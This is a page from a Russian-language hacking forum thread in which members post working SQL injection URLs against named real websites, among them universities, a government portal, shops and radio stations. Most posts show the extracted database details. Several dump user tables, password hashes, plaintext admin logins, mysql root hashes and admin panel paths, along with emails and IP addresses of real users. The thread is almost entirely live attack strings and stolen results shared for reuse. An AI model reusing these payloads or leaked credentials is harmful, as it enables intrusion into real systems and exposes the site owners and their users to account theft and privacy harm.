SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    102
    Likes Received:
    54
    Reputations:
    7
    totallyradio.com Pr5
    Иньекция:

    Code:
    www.totallyradio.com/archive.php?show=-8+union+select+1,2,3,4,5,6,7,8,9--
    Так же на странице есть шоп но вот к сожелению картон они в базе не хранять ...((
    
    Данные бд
    Code:
    Database Version: 5.0.45-log
    Database name: tradmin2_tradio
    User name: tradmin2@localhost
    
    таблица users 32k записей
    Code:
    44 :In database tradmin2_tradio found table users
       0 :   user_id
       1 :   user_status
       2 :   user_name
       3 :   user_password
       4 :   user_email
       5 :   user_first_name
       6 :   user_last_name
       7 :   user_country
       8 :   eu_country
       9 :   user_city
       10 :   user_sex
       11 :   user_age
       12 :   user_broadband
       13 :   user_os
       14 :   user_joined_date
       15 :   user_last_renewed
       16 :   user_expire_date
       17 :   user_membership_type
       18 :   player_pref
       19 :   animation_pref
       20 :   lastupdated
       21 :   user_ip
       22 :   credit_balance
    
    выдержка из таблицы :
    Code:
    [0]:1:A:simonwest:539a44165e:[email protected]:simon:west:1:Y:brighton:M:1:Y:W:20030314:20030318:20090318:A:W:D:2007-07-30 13:37:08:81.77.135.118:0
    --------------------------------------------------------------------------------------------
    [1]:2:A:daniel:a104ee6c66:[email protected]:daniel:nathan:1:Y:Brighton:M:3:Y:W:20030314:20030314:20111231:A:T:E:2009-05-30 05:09:51:217.207.106.18:0
    ---------------------------------------------------------------------------------------------
    [2]:3:E:dn:ae8fc55ccd:[email protected]:daniel:nathan:1:Y:Brighton:M:3:Y:M:20030316:20030316:20030416:A:::2005-05-17 07:39:37:217.207.106.18:0
    
     
    #9641 MaSTeR GэN, 6 Jun 2009
    Last edited: 6 Jun 2009
  2. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Форум колегия адвокатов>>
    Code:
    http://advokat-nsk.ru/inc/article.php?id=-16+union+select+1,2,concat_ws(0x3a2a3a,version(),database(),user(),@@version_compile_os),4,5,6--+
    5.0.77-log:*:db_diceron_1:*:[email protected]:*:unknown-linux-gnu
     
    #9642 farex, 6 Jun 2009
    Last edited: 6 Jun 2009
    1 person likes this.
  3. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://probashi.gov.bd/phps/units_divisions.php?eid=14+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13/*
    version():4.1.20
    database():mewoe
    user():probashi@localhost
     
    1 person likes this.
  4. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    102
    Likes Received:
    54
    Reputations:
    7
    bigrradio.com

    bigrradio.com pr5
    Code:
    http://www.bigrradio.com/player.php?id=-36+union+select+1,concat_ws(0x1,version(),user(),database()),3,4,5,6,7,8--
    
    Данные БД:
    4.1.22-standardbigrsand_admin@localhostbigrsand_bradio
    Таблицы к сожелению не осилил (
    кому нужно будет админка вот тут :
    Code:
    http://www.bigrradio.com/admin/
     
    1 person likes this.
  5. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.u-mobitelco.ro/suporteri/poze.php?AlbumID=-28+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6


    Database Version: 5.0.81-community-log
    Database name: umobi_new
    User name: umobi_user@localhost
    Os: pc-linux-gnu
     
    3 people like this.
  6. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    http://1r.dn.ua
    artdesign_1r@localhost
    5.0.58
    artdesign_1r

    Таблы
    Админы
    Админка
    логин
    fad9123f
    Пасс
    nams765ty

    В логин и пасс уберите второй символ



    http://copyright.com.ua
    http://copyright.com.ua/show_law.php?id=-207'+UNION+SELECT+0,1,2,concat_ws(0x0b,use r(),version(),database()),4,5+--+
    regcomua@localhost
    4.0.27
    copyright
     
    #9646 udman, 6 Jun 2009
    Last edited: 6 Jun 2009
    1 person likes this.
  7. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Code:
    http://www.dofus.us/list.php?id=9999999+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6
    5.0.75-community-log:gamesit1_dofusus:gamesit1_dofusus@localhost
    Code:
    http://www.dofus.us/list.php?id=9999999+union+select+1,2,group_concat(table_name),4,5,6+from+information_schema.tables
    http://www.dofus.us/list.php?id=9999999+union+select+1,2,group_concat(column_name),4,5,6+from+information_schema.columns+where+table_name=0x7361646d696e
    http://www.dofus.us/list.php?id=9999999+union+select+1,2,concat_ws(0x3a,id,usname,paswd),4,5,6+from+sadmin
    id:usname:paswd

    Code:
    http://pro-us-game.com/vov_levelpack_add_.php?id=-9_99+union+select+1,2,3,version(),5,6,user(),8,database(),10,11,12
    5.1.34-community:prousgame2:root@localhost

    Code:
    http://www.x-race.it/shop.php?id=-23+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5
    5.0.68-log:Sql119042_1:[email protected]

    Code:
    http://syspay.info/article.php?id=-13+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6
    5.1.34-community-log:forever_syspay_satellite:[email protected]

    Code:
    http://www.w2wventures.com/education/articles/index.php?id=-164+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,8,9,10,11
    5.0.45-log:w2w:w2w@localhost
     
    2 people like this.
  8. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    http://www.hebron.com/english/gallery.php?id=-164%27+union+select+1,2,3,4,5,6,7,8,9,10--+
    Database Version: 4.1.21-log
    Database name: hebron-1
    User name: hebron-1@localhost
     
    1 person likes this.
  9. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    http://koruna.com.ua
    [email protected]
    4.1.22-standard-log
    koruna_koruna



    http://poliglos.info
    one@localhost
    5.0.45
    dic

    Все таблы

    http://www.oculus.com.ua
    oculus@localhost
    4.1.14-log
    oculus
     
    2 people like this.
  10. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<VisualFreak.com -
    много закладок>>

    Code:
    http://visualfreak.com/?item_id=99999999+union+select+1,concat_ws(0x3a2a3a,version(),database(),user(),@@version_compile_os),3,4,5--+
    5.0.67-community:*:izhevskp_fr eak:*:izhevskp_freak@localhost :*:redhat-linux-gnu
     
    1 person likes this.
  11. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.theeyedoctors.net/doctor.php?id=-39+union+select+1,2,3,4,5,6,7,8+/*+

    http://visus.net.ua/doctor.php?action=view&id=-26+union+select+1,2,3,4,5,6,7+/*+

    http://www.jlhkfk.com/doctor.php?id=-6+union+select+1,2,concat_ws(0x3a3a,username,pass),4+from+user+--+
    admin_jlhkfk::a12345678

    http://www.igshanghai.com/yljk/doctor.php?id=-422+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+mysql.user+/*+
     
  12. TreV@N

    TreV@N Elder - Старейшина

    Joined:
    14 Jul 2008
    Messages:
    135
    Likes Received:
    48
    Reputations:
    19
    http://www.finglandstables.com/

    Database Version: 5.0.67-log
    Database name: fs_data
    User name: [email protected]


    ==================================================

    http://www.leedsuaf.org.uk/

    Database Version: 4.1.22-standard
    Database name: leedsuaf_temp
    User name: leedsuaf_user2@localhost


    ==================================================

    http://www.humanistica.ru/

    Database Version: 5.0.75-log
    Database name: Online
    User name: [email protected]


    ==================================================
    http://www.otssolutions.com/

    Database Version: 5.0.27-community-nt
    Database name: otssolutionscom
    User name: otssolutionscom@localhost


    ==================================================

    http://www.rimrecords.co.uk/

    Database Version: 4.1.22
    Database name: johnkerr_elladb
    User name: johnkerr_ella@localhost
     
    #9652 TreV@N, 6 Jun 2009
    Last edited: 6 Jun 2009
    1 person likes this.
  13. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.uhla.org {PR 3}
    Code:
    http://www.uhla.org/show-member-details.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user())--
    5.0.51a-log : utah_new : [email protected]

    ----------------------------------------------------------------------------------------------------------

    http://www.byu.edu {PR7} {ТИЦ 475}
    Code:
    http://www.byu.edu/gradstudies/grantsfellowships/grantsfellowships.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10/*
    5.0.22-standard : graddb : root@localhost
     
    #9653 Skofield, 6 Jun 2009
    Last edited: 6 Jun 2009
    1 person likes this.
  14. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.hawaiihomes.cc {PR 2}
    Code:
    http://www.hawaiihomes.cc/property.php?ID=-29+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46/*
    4.1.22-standard-log : mysql : root@localhost

    mysql.user:
    Code:
    http://www.hawaiihomes.cc/property.php?ID=-29+union+select+1,group_concat(user,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+from+mysql.user/*
    root:185bb1936c7ab649
    root:*9D15A57342694DEDE3431F59177800324D5E2FC7
     
  15. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    PR7
    Code:
    http://www.emich.[SIZE=4][COLOR=White]edu[/COLOR][/SIZE]/art/ceramics.php?id=-99999+union+select+1,2,3,4,5,6,version(),8,9,10,11--
    Database Version: 5.0.67
    Database name: artdept
    User name: artdept_user@www1
     
    1 person likes this.
  16. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.dsjcluj.ro/centru-de-presa/albume/poze.php?AlbumID=-12+UNION+SELECT+1,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),3,4,5,6,7,8


    Database Version: 5.0.81-community-log
    Database name: dsjcluj_db
    User name: dsjcluj_user@localhost
    Os : pc-linux-gnu
     
  17. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.sc.edu {PR 7} {ТИЦ 400}
    Code:
    http://www.sc.edu/library/news/index.php?mode=view&id=-252+union+select+1,unhex(hex(user())),3,4,5,6,7,8,9,10,11,12,13/*
    version - 4.1.13-log
    database - news
    user - [email protected]

    mysql.user:
    Code:
    http://www.sc.edu/library/news/index.php?mode=view&id=-252+union+select+1,unhex(hex(group_concat(user,0x3a,password))),3,4,5,6,7,8,9,10,11,12,13+from+mysql.user/*
     
  18. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://forum.trizland.com/task.php?id=1832+and+substring(version(),1,1)=4


    http://pod-ezd.ru/index.php?page=documents&id=-42+UNION+SELECT+1,2,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),4,5,6,7,8,9,10,11/*

    Database Version: 5.0.42
    Database name: pod-ezd
    User name: pod-ezd@localhost


    Code:
    Database [pod-ezd]
        Table [baners  ( Rows)]
            id
            link
            img
            active
        Table [clients  ( Rows)]
            id
            first_name
            middle_name
            last_name
            phone
            email
            city
            organization
            dt
        Table [contacts  ( Rows)]
            id
            img
            body
        Table [documents  ( Rows)]
            id
            title
            body
            dt
            active
            doc_cat_id
            in_arhive
            lang
            file_img
        Table [documents_category  ( Rows)]
            id
            title
        Table [menu  ( Rows)]
            id
            title
            parent_id
            page
            sub_page
            action
            entry_id
            active
            sort
            lang
            href
        Table [mods_net  ( Rows)]
            id
            part
            mod
            square
            size
            price1
            price2
            price3
            price4
            price5
        Table [mods_net_1sm_price  ( Rows)]
            id
            price
        Table [mods_net_doc  ( Rows)]
            id
            doc_id
        Table [modules  ( Rows)]
            id
            mod_name
            parent_id
            sort
            is_on_site
        Table [options  ( Rows)]
            id
            name
            value
        Table [partners  ( Rows)]
            id
            title
            link
            active
            img
        Table [persons  ( Rows)]
            id
            first_name
            middle_name
            last_name
            post
            phone
            active
            img_file
        Table [releases  ( Rows)]
            id
            dt
            file_pdf
            file_img
            text
            active
        Table [user  ( Rows)]
            id
            username
            password
            first_name
            middle_name
            last_name
            email
            phone
            active
            date
    Содержание таблицы user:

    admin:b717415eb5e699e4989ef3e2c4e9cbf7

    1 запись.
     
    1 person likes this.
  19. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.ohiolearns.org {PR 6}
    Code:
    http://www.ohiolearns.org/catalog/displaydegree.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/*
    4.0.26-Max:catalog:[email protected]

    table users:
    Code:
    http://www.ohiolearns.org/catalog/displaydegree.php?id=-1+union+select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+users+limit+0,1/*
     
  20. trefet2

    trefet2 New Member

    Joined:
    25 May 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    http://www.westcomp.ru/pricepos.php?id=-1+union+Select+1,2,3,4,concat_ws(0x20,id,fname,mname,email,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+USERLIST_TAB--
     
Thread Status:
Not open for further replies.